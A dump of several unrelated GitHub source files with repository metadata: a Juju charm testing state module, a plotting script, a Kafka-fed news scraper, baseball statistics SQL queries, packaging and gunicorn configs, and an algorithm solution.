minimal, heavily defaulted Network.\"\"\"\n return cls(\n name=name,\n bind_id=bind_id,\n bind_addresses=[\n BindAddress(\n mac_address=mac_address,\n interface_name=interface_name,\n interfacename=interface_name,\n addresses=[\n Address(hostname=hostname, value=private_address, cidr=cidr)\n ],\n )\n ],\n bind_address=private_address,\n egress_subnets=list(egress_subnets),\n ingress_addresses=list(ingress_addresses),\n )\n\n\n@dataclasses.dataclass\nclass Status(_DCBase):\n app: Tuple[str, str] = (\"unknown\", \"\")\n unit: Tuple[str, str] = (\"unknown\", \"\")\n app_version: str = \"\"\n\n\n@dataclasses.dataclass\nclass StoredState(_DCBase):\n # /-separated Object names. E.g. MyCharm/MyCharmLib.\n # if None, this StoredState instance is owned by the Framework.\n owner_path: Optional[str]\n\n name: str = \"_stored\"\n content: Dict[str, Any] = dataclasses.field(default_factory=dict)\n\n data_type_name: str = \"StoredStateData\"\n\n @property\n def handle_path(self):\n return f\"{self.owner_path or ''}/{self.data_type_name}[{self.name}]\"\n\n\n@dataclasses.dataclass\nclass State(_DCBase):\n config: Dict[str, Union[str, int, float, bool]] = None\n relations: List[Relation] = dataclasses.field(default_factory=list)\n networks: List[Network] = dataclasses.field(default_factory=list)\n containers: List[Container] = dataclasses.field(default_factory=list)\n status: Status = dataclasses.field(default_factory=Status)\n leader: bool = False\n model: Model = Model()\n juju_log: List[Tuple[str, str]] = dataclasses.field(default_factory=list)\n secrets: List[Secret] = dataclasses.field(default_factory=list)\n\n # meta stuff: actually belongs in event data structure.\n juju_version: str = \"3.0.0\"\n unit_id: str = \"0\"\n app_name: str = \"local\"\n\n # represents the OF's event queue. These events will be emitted before the event being dispatched,\n # and represent the events that had been deferred during the previous run.\n # If the charm defers any events during \"this execution\", they will be appended\n # to this list.\n deferred: List[\"DeferredEvent\"] = dataclasses.field(default_factory=list)\n stored_state: List[\"StoredState\"] = dataclasses.field(default_factory=dict)\n\n # todo:\n # actions?\n\n @property\n def unit_name(self):\n return self.app_name + \"/\" + self.unit_id\n\n def with_can_connect(self, container_name: str, can_connect: bool):\n def replacer(container: Container):\n if container.name == container_name:\n return container.replace(can_connect=can_connect)\n return container\n\n ctrs = tuple(map(replacer, self.containers))\n return self.replace(containers=ctrs)\n\n def with_leadership(self, leader: bool):\n return self.replace(leader=leader)\n\n def with_unit_status(self, status: str, message: str):\n return self.replace(\n status=dataclasses.replace(self.status, unit=(status, message))\n )\n\n def get_container(self, name) -> Container:\n try:\n return next(filter(lambda c: c.name == name, self.containers))\n except StopIteration as e:\n raise ValueError(f\"container: {name}\") from e\n\n # FIXME: not a great way to obtain a delta, but is \"complete\" todo figure out a better way.\n def jsonpatch_delta(self, other: \"State\"):\n try:\n import jsonpatch\n except ModuleNotFoundError:\n logger.error(\n \"cannot import jsonpatch: using the .delta() \"\n \"extension requires jsonpatch to be installed.\"\n \"Fetch it with pip install jsonpatch.\"\n )\n return NotImplemented\n patch = jsonpatch.make_patch(\n dataclasses.asdict(other), dataclasses.asdict(self)\n ).patch\n return sort_patch(patch)\n\n def trigger(\n self,\n event: Union[\"Event\", str],\n charm_type: Type[\"CharmType\"],\n # callbacks\n pre_event: Optional[Callable[[\"CharmType\"], None]] = None,\n post_event: Optional[Callable[[\"CharmType\"], None]] = None,\n # if not provided, will be autoloaded from charm_type.\n meta: Optional[Dict[str, Any]] = None,\n actions: Optional[Dict[str, Any]] = None,\n config: Optional[Dict[str, Any]] = None,\n ):\n \"\"\"Fluent API for trigger.\"\"\"\n return trigger(\n state=self,\n event=event,\n charm_type=charm_type,\n pre_event=pre_event,\n post_event=post_event,\n meta=meta,\n actions=actions,\n config=config,\n )\n\n\n@dataclasses.dataclass\nclass _CharmSpec(_DCBase):\n \"\"\"Charm spec.\"\"\"\n\n charm_type: Type[\"CharmType\"]\n meta: Optional[Dict[str, Any]]\n actions: Optional[Dict[str, Any]] = None\n config: Optional[Dict[str, Any]] = None\n\n @staticmethod\n def autoload(charm_type: Type[\"CharmType\"]):\n charm_source_path = Path(inspect.getfile(charm_type))\n charm_root = charm_source_path.parent.parent\n\n metadata_path = charm_root / \"metadata.yaml\"\n meta = yaml.safe_load(metadata_path.open())\n\n actions = config = None\n\n config_path = charm_root / \"config.yaml\"\n if config_path.exists():\n config = yaml.safe_load(config_path.open())\n\n actions_path = charm_root / \"actions.yaml\"\n if actions_path.exists():\n actions = yaml.safe_load(actions_path.open())\n\n return _CharmSpec(\n charm_type=charm_type, meta=meta, actions=actions, config=config\n )\n\n\ndef sort_patch(patch: List[Dict], key=lambda obj: obj[\"path\"] + obj[\"op\"]):\n return sorted(patch, key=key)\n\n\n@dataclasses.dataclass\nclass DeferredEvent(_DCBase):\n handle_path: str\n owner: str\n observer: str\n\n # needs to be marshal.dumps-able.\n snapshot_data: Dict = dataclasses.field(default_factory=dict)\n\n @property\n def name(self):\n return self.handle_path.split(\"/\")[-1].split(\"[\")[0]\n\n\n@dataclasses.dataclass\nclass Event(_DCBase):\n name: str\n args: Tuple[Any] = ()\n kwargs: Dict[str, Any] = dataclasses.field(default_factory=dict)\n\n # if this is a relation event, the relation it refers to\n relation: Optional[Relation] = None\n\n # if this is a secret event, the secret it refers to\n secret: Optional[Secret] = None\n\n # if this is a workload (container) event, the container it refers to\n container: Optional[Container] = None\n\n # todo add other meta for\n # - secret events\n # - pebble?\n # - action?\n\n def __post_init__(self):\n if \"-\" in self.name:\n logger.warning(f\"Only use underscores in event names. {self.name!r}\")\n self.name = self.name.replace(\"-\", \"_\")\n\n def deferred(self, handler: Callable, event_id: int = 1) -> DeferredEvent:\n \"\"\"Construct a DeferredEvent from this Event.\"\"\"\n handler_repr = repr(handler)\n handler_re = re.compile(r\"\")\n match = handler_re.match(handler_repr)\n if not match:\n raise ValueError(\n f\"cannot construct DeferredEvent from {handler}; please create one manually.\"\n )\n owner_name, handler_name = match.groups()[0].split(\".\")[-2:]\n handle_path = f\"{owner_name}/on/{self.name}[{event_id}]\"\n\n snapshot_data = {}\n\n if self.container:\n # this is a WorkloadEvent. The snapshot:\n snapshot_data = {\n \"container_name\": self.container.name,\n }\n\n elif self.relation:\n # this is a RelationEvent. The snapshot:\n snapshot_data = {\n \"relation_name\": self.relation.endpoint,\n \"relation_id\": self.relation.relation_id\n # 'app_name': local app name\n # 'unit_name': local unit name\n }\n\n return DeferredEvent(\n handle_path,\n owner_name,\n handler_name,\n snapshot_data=snapshot_data,\n )\n\n\ndef deferred(\n event: Union[str, Event],\n handler: Callable,\n event_id: int = 1,\n relation: \"Relation\" = None,\n container: \"Container\" = None,\n):\n \"\"\"Construct a DeferredEvent from an Event or an event name.\"\"\"\n if isinstance(event, str):\n norm_evt = event.replace(\"_\", \"-\")\n\n if not relation:\n if any(map(norm_evt.endswith, RELATION_EVENTS_SUFFIX)):\n raise ValueError(\n \"cannot construct a deferred relation event without the relation instance. \"\n \"Please pass one.\"\n )\n if not container and norm_evt.endswith(\"_pebble_ready\"):\n raise ValueError(\n \"cannot construct a deferred workload event without the container instance. \"\n \"Please pass one.\"\n )\n\n event = Event(event, relation=relation, container=container)\n return event.deferred(handler=handler, event_id=event_id)\n\n\n@dataclasses.dataclass\nclass Inject(_DCBase):\n \"\"\"Base class for injectors: special placeholders used to tell harness_ctx\n to inject instances that can't be retrieved in advance in event args or kwargs.\n \"\"\"\n\n pass\n\n\n@dataclasses.dataclass\nclass InjectRelation(Inject):\n relation_name: str\n relation_id: Optional[int] = None\n\n\ndef _derive_args(event_name: str):\n args = []\n for term in RELATION_EVENTS_SUFFIX:\n # fixme: we can't disambiguate between relation IDs.\n if event_name.endswith(term):\n args.append(InjectRelation(relation_name=event_name[: -len(term)]))\n\n return tuple(args)\n\n\n# todo: consider\n# def get_containers_from_metadata(CharmType, can_connect: bool = False) -> List[Container]:\n# pass\n","repo_name":"PietroPasotti/ops-scenario","sub_path":"scenario/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":20663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"25"} +{"seq_id":"1779766395","text":"# code to make some figures for talks\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport DiffFunc2D as df\n\nrmin=0.0; rmax=2*np.pi; nr=101;\nEmin=-2; Emax=1; nE=100; n0=np.array(([1.0,1.0])); gamma=-0.5;\n\nx = np.linspace(rmin,rmax,nr)\nE = np.logspace(Emin,Emax,nE)\n# the source distribution profile\nN1 = df.initN(rmin, rmax, nr, n0[0], \"twoArm\")\n# the energy spectrum\nN2=df.initE(E, n0, gamma)[0,:]\n\nfs=20\nlw=2\n\nfig=plt.figure(figsize=(6,8))\nfig.subplots_adjust(hspace=0.45, wspace=0.4)\n\nax1=fig.add_subplot(211)\nax1.plot(x/(rmax),N1,linewidth=lw)\nax1.set_xlabel(r'$\\phi$',fontsize=fs)\nax1.set_ylabel(r'$N$',fontsize=fs)\nax1.spines['right'].set_color('none')\nax1.spines['top'].set_color('none')\nax1.spines['left'].set_smart_bounds(True)\nax1.spines['bottom'].set_smart_bounds(True)\nax1.xaxis.set_ticks_position('bottom')\nax1.yaxis.set_ticks_position('left')\nax1.spines['left'].set_linewidth(lw)\nax1.spines['bottom'].set_linewidth(lw)\nax1.tick_params('both', length=8, width=1, which='major')\n\nax2=fig.add_subplot(212)\nax2.set_xscale('log')\nax2.set_yscale('log')\nax2.plot(E,N2,linewidth=lw)\nax2.set_xlabel(r'$E$',fontsize=fs)\nax2.set_ylabel(r'$N$',fontsize=fs)\nax2.spines['right'].set_color('none')\nax2.spines['top'].set_color('none')\nax2.spines['left'].set_smart_bounds(True)\nax2.spines['bottom'].set_smart_bounds(True)\nax2.xaxis.set_ticks_position('bottom')\nax2.yaxis.set_ticks_position('left')\nax2.spines['left'].set_linewidth(lw)\nax2.spines['bottom'].set_linewidth(lw)\nax2.tick_params('both', length=10, width=1, which='major')\nax2.tick_params('both', length=5, width=1, which='minor')\n\nplt.savefig('source.jpg')\n\nplt.show()\n\n\n\n","repo_name":"AndrewFletcher/crePropagation","sub_path":"code/figs.py","file_name":"figs.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"10371677438","text":"import requests\nfrom bs4 import BeautifulSoup\nimport datetime\nimport json\nimport time\nfrom kafka import KafkaProducer, KafkaConsumer\n\ntopic_name='headlines'\n\ndef json_serializer(data):\n return json.dumps(data).encode(\"utf-8\")\n\nproducer=KafkaProducer(bootstrap_servers='localhost:9092',value_serializer=json_serializer)\n\ndef get_inshorts_news(category):\n newsDictionary = []\n try:\n htmlBody = requests.get('https://www.inshorts.com/en/read/' + category)\n except requests.exceptions.RequestException as e:\n newsDictionary['success'] = False\n newsDictionary['errorMessage'] = str(e.message)\n return newsDictionary\n\n soup = BeautifulSoup(htmlBody.text, 'lxml')\n newsCards = soup.find_all(class_='news-card')\n if not newsCards:\n newsDictionary['success'] = False\n newsDictionary['errorMessage'] = 'Invalid Category'\n return newsDictionary\n for card in newsCards:\n try:\n title = card.find(class_='news-card-title').find('a').text\n except AttributeError:\n title = None\n try:\n content = card.find(class_='news-card-content').find('div').text\n except AttributeError:\n content = None\n\n try:\n date = card.find(class_='date').text\n except AttributeError:\n date = None\n\n try:\n time = card.find(class_='time').text\n except AttributeError:\n time = None\n\n newsObject = {\n '_id':time+\"-\"+date,\n 'text': title,\n 'source':\"inshorts\"\n }\n print(newsObject)\n print('\\n')\n producer.send(topic_name,newsObject)\n producer.flush()\n \n\ncategories=[\"national\",\"business\",\"sports\",\"world\",\"politics\",\"technology\",\"startup\",\"entertainment\",\"miscellaneous\",\"hatke\",\"science\",\"automobile\"]\n\ndef store_inshorts_news():\n for category in categories:\n get_inshorts_news(category)\n\nstore_inshorts_news()\n","repo_name":"saniikakulkarni/Trending-News-Analysis","sub_path":"Producer/inshorts.py","file_name":"inshorts.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"25"} +{"seq_id":"3527297834","text":"palis = int(input(\"Introduzca los números para la lista (0 para finalizar): \"))\nlista = []\nlistame = []\nlistama = []\nlistaig = []\nlistamu = []\nwhile palis != 0:\n\tlista.append(palis)\n\tpalis = int(input(\"Introduzca los números para la lista (0 para finalizar): \"))\nk = int(input(\"Introduce un número entero: \"))\nfor x in lista:\n\tif x > k:\n\t\tlistama.append(x)\n\telif x < k:\n\t\tlistame.append(x)\n\telif x == k:\n\t\tlistaig.append(x)\n\tif k%x==0:\n\t\tlistamu.append(x)\nprint(\"Los números mayores son: \", listama)\nprint(\"Los números menores son: \", listame)\nprint(\"Los números iguales son: \", listaig)\nprint(\"Los números multipos son: \", listamu)","repo_name":"velazco07/LMSGI","sub_path":"Repaso Python/Listas/repaso3.py","file_name":"repaso3.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"72283126466","text":"\"\"\"Functions to process statistics specific to batters\"\"\"\nfrom db import connect\nfrom db import query\nimport player, injury\nfrom datetime import datetime\nimport numpy\nimport pandas\nimport MySQLdb\n\n\ndef get_pitches(batter_id, date, count, columns=(), result=\"swing\"):\n \"\"\"Retrieve a given number (count) of pitches, before or after a given date, thrown to a batter.\n Can be filtered on batter action/pitch result.\"\"\"\n\n # If count is negative, find pitches prior to the date. If positive, on or after the date.\n if count < 0:\n operator = \"<\"\n else:\n operator = \">=\"\n\n conn = connect.open()\n\n # Filter based on the desired outcome of the pitch\n if result == \"swing\":\n # All pitches swung at by the batter\n result_condition = \"AND p.des NOT IN ('Called Strike', 'Ball')\"\n elif result == \"contact\":\n # All pitches contacted by the batter\n result_condition = \"AND p.des NOT IN ('Called Strike', 'Ball', 'Swinging Strike')\"\n elif result == \"play\":\n # All pitches put into play\n result_condition = \"AND p.des LIKE 'In play%'\"\n elif result == \"miss\":\n # All pitches actively swung at and missed\n result_condition = \"AND p.des = 'Swinging Strike'\"\n else:\n result_condition = \"\"\n\n # Built and execute the query to retrieve pitch list\n sql = '''\n SELECT p.px AS x, p.pz AS y\n FROM gameday.game g\n INNER JOIN gameday.pitch p ON g.game_id=p.game_id\n WHERE p.batter = %s AND g.date __operator__ %s\n __result_condition__\n ORDER BY g.date ASC\n LIMIT %s\n '''\n sql = sql.replace(\"__operator__\", operator).replace(\"__result_condition__\", result_condition)\n params = (batter_id, date.strftime(\"%Y-%m-%d\"), abs(count))\n\n cur = conn.cursor(MySQLdb.cursors.DictCursor)\n cur.execute(sql, params)\n\n return_list = list(cur.fetchall())\n\n return return_list\n\n\ndef get_atbats(batter_id, date, count, columns=()):\n \"\"\"Retrieve a given number (count) of at bats, before or after a given date, by a batter.\"\"\"\n\n # If count is negative, find at-bats prior to the date. If positive, on or after the date.\n if count < 0:\n operator = \"<\"\n else:\n operator = \">=\"\n\n conn = connect.open()\n\n # Build and execute the query\n sql = '''\n SELECT g.date, ab.event\n FROM gameday.game g\n INNER JOIN JOIN gameday.atbat ab ON g.game_id=ab.game_id\n WHERE ab.batter = %s AND g.date __operator__ %s\n ORDER BY g.date DESC LIMIT %s\n '''\n sql = sql.replace(\"__operator__\", operator)\n\n params = (batter_id, date.strftime(\"%Y-%m-%d\"), abs(count))\n\n cur = conn.cursor(MySQLdb.cursors.DictCursor)\n cur.execute(sql, params)\n\n return_list = list(cur.fetchall())\n\n return return_list\n","repo_name":"izenmania/injuryfx","sub_path":"stats/batter.py","file_name":"batter.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"13381270959","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Setuptools config file.\"\"\"\n\nimport pip\nfrom pip.req import parse_requirements\nfrom setuptools import setup, find_packages\n\n# parse_requirements() returns generator of pip.req.InstallRequirement objects\ninstall_reqs = parse_requirements('requirements.txt',\n session=pip.download.PipSession())\n\n# reqs is a list of requirement\n# e.g. ['django==1.5.1', 'mezzanine==1.4.6']\nreqs = [str(ir.req) for ir in install_reqs]\n\nsetup(\n name='TK17_Tg_Bot',\n version='0.1',\n packages=find_packages(),\n author='Kees Hink',\n author_email=\"keeshink@gmail.com\",\n description=\"A Telegram Bot for Dutch parliament elections 2017\",\n long_description=open(\"README.md\").read(),\n url='',\n license='MIT',\n download_url='',\n keywords=['telegram', 'bot', 'poll'],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console ',\n 'Natural Language :: English',\n 'Operating System :: POSIX',\n 'Operating System :: POSIX :: Linux',\n 'Topic :: Utilities',\n 'Programming Language :: Python',\n ],\n install_requires=reqs,\n)\n","repo_name":"khink/TK17_Bot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"20418195355","text":"import multiprocessing\n\nbind = \"127.0.0.1:8000\"\nworkers = multiprocessing.cpu_count() * 2 + 1\nworker_class = 'sync'\nworker_connections = 2000\nbacklog = 2048\ndaemon = True\nloglevel = 'debug'\naccesslog = '/tmp/guni_access.log'\nerrorlog = '/tmp/guni_error.log'\nmax_requests = 1000\ngraceful_timeout = 60\ntimeout = 300\npreload = True\n","repo_name":"shshank/hackernews_chrono","sub_path":"configs/guni_conf.py","file_name":"guni_conf.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"73087637505","text":"import sys\n\nN, M = map(int, sys.stdin.readline().split())\n\nknown = list(map(int, sys.stdin.readline().split()))\nknown_set = set(known[1:])\n\nparties = []\nfor _ in range(M):\n party = list(map(int, sys.stdin.readline().split()))\n party_set = set(party[1:])\n parties.append(party_set)\n\nfor _ in range(M):\n for party_set in parties:\n if known_set & party_set:\n known_set.update(party_set)\n\nanswer = 0\nfor party_set in parties:\n if not known_set & party_set:\n answer += 1\nprint(answer)\n","repo_name":"Jaster25/problem-solving","sub_path":"BOJ/[1043] 거짓말.py","file_name":"[1043] 거짓말.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"7632380496","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2021-08-23 23:28\n@Author : Lijintao\n@FileName: zhuge.py\n@Software: PyCharm\n\"\"\"\nimport re\n\nimport requests\n\nfrom lib.errors import ParseNoneResultException\n\n\nclass Zhuge:\n def __init__(self):\n self.search_url = 'https://bj.xinfang.zhuge.com/v_{}_/'\n self.detail_url_regex = '